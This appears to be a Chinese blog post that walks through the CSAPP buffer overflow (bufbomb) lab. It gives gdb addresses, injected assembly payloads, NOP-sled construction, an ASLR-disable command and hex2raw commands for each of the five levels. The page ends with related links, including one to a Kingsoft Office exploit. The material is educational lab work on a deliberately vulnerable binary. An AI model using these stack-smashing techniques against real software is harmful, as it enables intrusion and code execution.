CSAPP LAB: Buffer Overflow
这是CSAPP官网上的著名实验,通过注入汇编代码实现堆栈溢出攻击。
实验材料可到我的github仓库 https://github.com/Cheukyin/CSAPP-LAB/ 选择buffer-overflow分支下载 linux默认开启ASLR,每次加载程序,变量地址都会不一样,所以若要关闭ASLR:
sysctl -w kernel.randomize_va_space=0(赋值为2,即可打开ASLR) 不过本实验的程序似乎经过特殊处理,不需要关闭ASLR 正常编译的程序的stack是non-executable的,但是加一个编译选项就可以打开
本实验的程序应该都打开了executable选项了 Level0:
修改getbuf()的返回地址,让程序执行smoke
打开gdb,设置断点至getbuf, r -u cheukyin
80491f4: push %ebp
80491f5: e5 mov %esp,%ebp
80491f7: ec sub $0x38,%esp
80491fa: 8d d8 lea -0x28(%ebp),%eax
80491fd: mov %eax,(%esp)
: e8 f5 fa ff ff call 8048cfa <Gets>
: b8 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
以上代码标明buf的地址是ebp-0x28,地址存放在eax中
print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
两者相差44个字节,因此需要输入44个普通字符,在输入smoke的地址
print smoke ==> 0x8048c18 hex结果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin 即可过关 Level1:
跟上面类似,执行fizz(),不过fizz有一个参数需要压栈,这个参数需要跟cookie相等
因此除了修改getbuf返回地址,还需要输入四字节当作fizz的返回地址,再输入4字节cookie ./makecookie cheukyin 可获取cookie
反汇编可获取fizz返回地址 ./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin 通关 Level2:
修改全局变量global_value的值,并进入bang函数 要修改global_value,便需在stack上注入一段修改的代码,执行完get_buf后jump到该代码,
代码执行完后便jump到bang level2-firecracker-assembly.S为注入代码:
# push the address of bang onto stack
pushl $0x08048c9d # in gdb, print &global_value ==> 0x804d100
# mov cheukyin cookie to global_value
mov $0x3955ae84, %eax
mov %eax, 0x804d100 # jump to <bang>
ret
先把bang地址压栈,然后修改global_value的值为cheukin的cookie,最后ret跳转至bang
gcc -m32 -c level2-firecracker-assembly.S生成目标文件
objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d反汇编
level2-firecracker-assembly.d:
: 9d 8c push $0x8048c9d
: b8 ae mov $0x3955ae84,%eax
a: a3 d1 mov %eax,0x804d100
f: c3 ret
gdb: print $ebp+8 ==> 0x55683888
把机器码填充到上面的地址,然后把get_buf返回地址修改为上面的地址即可
./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin可过关
Level3:
令getbuf返回cookie给test,因此不能破坏test的stack frame,
所以只能把注入代码写在输入字符串的开头,也就是buf地址
另外,当返回test时需要恢复正确的ebp,因此输入字符串中在返回地址之前应写入ebp:
在getbuf中, x/wx $ebp ==> 0x55683880
返回地址应是buf地址: print $ebp-0x28 ==> 0x55683858
注入代码需要把cookie移入eax,并返回正确的地址:
#in getbuf: x/wx $ebp+ ==> 0x08048dbe
#push get_buf's return address
pushl $0x08048dbe #return cheukyin's cookie to test
movl $0x3955ae84, %eax #return to <test>
ret
gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的机器码填入buf ./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin通关 Level4:
最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,
此时会进入testn和getbufn函数而不是test和getbuf函数。
与之前不同在于,为模拟真实环境具有不定数量环境变量在stack frame的上方,
进入getbufn时的ebp值不是固定值,
读取字符串缓冲区大小由32变为512,而且会调用testn函数五次,
意味着需要输入五次字符串并全部通过才能通过。 由于testn()的ebp值不固定,首先需要确定如何恢复该值。
需要注意到一个事实,esp和ebp距离是固定的.
由testn的汇编代码:
8048e26: push %ebp
8048e27: e5 mov %esp,%ebp
8048e29: push %ebx
8048e2a: ec sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 call 804920c <getbufn>
8048e3a: c3 mov %eax,%ebx
getbufn正常返回后应回到8048e3a,此时 ebp=esp+0x28
因此注入代码应增加利用esp恢复ebp的语句
如下:
#testn's ebp is fixed
#read <testn>'s assembly code and calculate
lea 0x28(%esp), %ebp #look into bufbomb_32.S
#push getbufn's return address
pushl $0x08048e3a #return cheukyin's cookie to test
movl $0x3955ae84, %eax #return to <testn>
ret
查看其机器码:
: 8d 6c lea 0x28(%esp),%ebp
: 3a 8e push $0x8048e3a
: b8 ae mov $0x3955ae84,%eax
e: c3 ret
此时,还有另一个难题,ebp不固定,则getbufn中的字串数组buf地址也是不固定的.
如何修改getbufn返回地址来执行注入代码呢? 通过gdb查看读入getbufn内字符串buf的地址(即eax),
对于同样的userid会给出一样的地址序列,
目测是以userid为seed的伪随机,五次运行给出的地址分别为:
0x55683678
0x55683698
0x556836c8
0x556835f8
0x55683668
根据提示采用nop sleds的技术,
大意是:在不清楚有效机器代码的入口地址时,
可以在有效机器代码前以大量的nop机器指令(0x90)填充,
只要跳转地址处于这些nop上就能到达有效机器代码。
由于栈上的机器代码是按地址由低向高顺序执行,
要保证五次运行都能顺利执行有效机器代码,
需要满足:跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。
这要求尽可能增大nop填充区,尽可能使有效机器代码段往后挪。 因此返回地址选用最高的地址: 0x556836c8 由getbufn汇编代码
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
可知buf地址和存放返回地址的单元相隔 0x208+4 = 0x20c 个字节 而注入代码共15个字节,因此共需要在buf开头填充 0x20c-15 个nop(0x90)
然后在填入机器码和返回地址 ./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n 通关
./hex2raw 的 -n 选项可让hex2raw重复多次输入
CSAPP LAB: Buffer Overflow的更多相关文章
- ubuntu 14.04 ns2.35 ***buffer overflow detected **: ns terminated解决办法
1.按照如下教程安装 Install With Me !: How to Install NS-2.35 in Ubuntu-13.10 / 14.04 (in 4 easy steps) 2.运行一 ...
- Kingsoft Office Writer 2012 8.1.0.3385 - (.wps) Buffer Overflow Exploit (SEH)
#!/usr/bin/python # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Expl ...
- ORA-20000:ORU-10027:buffer overflow,limit of 2000 bytes.
ORA-20000:ORU-10027:buffer overflow,limit of 2000 bytes. 这是因为在过程中用到了dbms_output.put_line()在服务器端输出信 ...
- Buffer Overflow Study
-- These days I learned and studied buffer overflow. I like to write on the paper and it can keep sy ...
- buffer overflow
Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...
- buffer overflow vulnerabilitie
Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...
- ORA-20000:ORU-10027:buffer overflow,limit of 10000 bytes错误4
今天再测试一个存储过程时,用DBMS_OUTPUT.PUT_LINE输出时,报 ORA-20000:ORU-10027:buffer overflow,limit of 10000 bytes SQL ...
- ORA-20000: ORU-10027: buffer overflow, limit of 10000 bytes
要用dbms_output.put_line来输出语句,遇到以下错误: ERROR 位于第 1 行: ORA-20000: ORU-10027: buffer overflow, limit ...
- 调试存储过程时提示ORA-20000: ORU-10027: buffer overflow
下午的时候在 PL/SQl Developer 10.0.5.1710 上调试壹個存储过程,在调试的时候使用了比较多的 DBMS_OUTPUT.PUT_LINE 作为打印日志的方式,结果没过多久 PL ...
随机推荐
- unity3d shader之God Ray上帝之光
又是一个post-process后期效果,god ray 上帝之光,说起上帝之光就是咱们再看太阳时太阳周围一圈的针状光芒先放组效果,本文的场景资源均来自浅墨大神,效果为本文shader效果 加入了前篇 ...
- lightoj1051 Good and Bad (dp)
题目链接:http://lightoj.com/volume_showproblem.php?problem=1051 题目大意:给你一个字符串,只包含大写字母和‘?’,如果字符串中出现了连续三个以上 ...
- bzoj4447 SCOI2015 小凸解密码 password
传送门:bzoj4447 题解: 调试简直恶心,不过调完发现其实还是挺好写的. 用\(\mathrm{set}\)维护一段\(0\)区间的左右端点,每次最多修改两个点,所以很好维护. 查询的时候在\( ...
- (一)Windows下搭建PHP开发环境及相关注意事项
PHP集成开发环境有很多,如XAMPP.AppServ......只要一键安装就把PHP环境给搭建好了.但这种安装方式不够灵活,软件的自由组合不方便,同时也不利于学习.所以我还是喜欢手工搭建PHP开发 ...
- enum类型被intent所携带时需要注意的地方
一般我们在Activity之间传递对象时多用Parcelable.比如写一个class,在这个class上标明implements Parcelable并实现接口就可以用Intent.putExtra ...
- 如何彻底删除SVN中的文件和文件夹(附恢复方法)
在SVN中如果删除某个文件或文件夹也可以在历史记录中进行找回,有的时候需要彻底删除某些文件,即不希望通过历史记录进行恢复,需要在服务器上对SVN的数据进行重新整理 这里假设SVN项目的目录为 /dat ...
- SQL Server 中关于EXCEPT和INTERSECT的使用方法
熟练使用SQL Server中的各种使用方法会给查询带来非常多方便.今天就介绍一下EXCEPT和INTERSECT.注意此语法仅在SQL Server 2005及以上版本号支持. EXCEPT是指在第 ...
- The Arduino IDE(compiler)'s float bug
1.通常直接使用串口的print函数就ok Serial.println(DHT.humidity); //assuming DHT.humidity is float 2.但是习惯问题,还是偏好s ...
- 进程的优先级 与 CFS 进程调度
在Linux下改变进程的优先级 作者:曾老师,华清远见嵌入式学院讲师. 作为多任务的操作系统,Linux内核为每个创建的进程分配时间片并根据其优先级进行调度.当进程被创建时,其对应的task_stru ...
- Objective-C中的@Property详解
Objective-C中的@Property详解 @Property (属性) class vairs 这个属性有nonatomic, strong, weak, retain, copy等等 我把它 ...